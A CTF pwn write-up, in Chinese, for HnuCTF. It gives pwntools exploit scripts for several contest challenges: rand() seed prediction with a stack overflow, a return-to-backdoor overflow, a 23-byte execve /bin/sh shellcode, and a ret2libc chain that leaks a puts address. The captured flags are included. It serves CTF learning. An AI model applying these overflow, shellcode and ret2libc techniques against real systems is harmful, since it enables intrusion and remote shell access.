pwn_write_up
netcat
直接nc即可,无需多言
random
第一个read()向buf中读入80个字节，只能覆盖掉原来的rbp，不能劫持返回地址
v3为随机生成数，从键盘键入v1的值与v3比较，相等即可返回到gets()，劫持返回地址到win()中的片段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
\
p=remote('boom.01130328.xyz',32942)
libc=cdll.LoadLibrary('libc.so.6')
win=0x4012f2
name=b'a'
p.sendlineafter("name!",name)
seed=libc.time(0)
libc.srand(seed)
num = str(libc.rand() % 1000)
p.sendlineafter("number:",num)
print(num)
payload=b'a'*(80+8)+p64(win)
p.sendlineafter("payload:",payload)
p.interactive()
|
HnuCTF{f779f040-be1e-4892-9714-f01833800177}
fmt
利用gets()栈溢出，返回到backdoor()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
\
p=remote('boom.01130328.xyz',39639)
backdoor=0x4011dc
payload=b'a'*(256+8)+p64(backdoor)
p.recvuntil("name:")
p.sendline(payload)
p.interactive()
|
HnuCTF{1a86ab26-9617-4bed-8c32-02f5d942c671}
shellcode
利用read()可向code读入24字节的内容，构造shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
\
p=remote('boom.01130328.xyz',34656)
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil("code:")
p.sendline(shellcode)
p.interactive()
|
HnuCTF{440d03ae-432f-4412-8ef5-9c44888bbb6e}
ret2libc
无system()和binsh字符串
利用puts()泄露libc基址，找到合适的libc版本，计算偏移量
计算system()和binsh的真实地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
\
p=remote('boom.01130328.xyz',37464)
elf=ELF('./pwn5')
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rdi=0x40117e
ret=0x40101a
payload=b'a'*(16+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil("you?")
p.sendline(payload)
p.recvuntil(b'Bye!')
p.recvuntil(b'\x0a')
puts_addr=u64(p.recvuntil(b'\x7b')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
binsh_addr=offset+libc.dump('str_bin_sh')
payload1=b'a'*(16+8)+p64(ret)+p64(rdi)+p64(binsh_addr)+p64(sys_addr)
p.sendline(payload1)
p.interactive()
|
HnuCTF{81defcde-d44f-4fa2-8581-7d665de4d409}
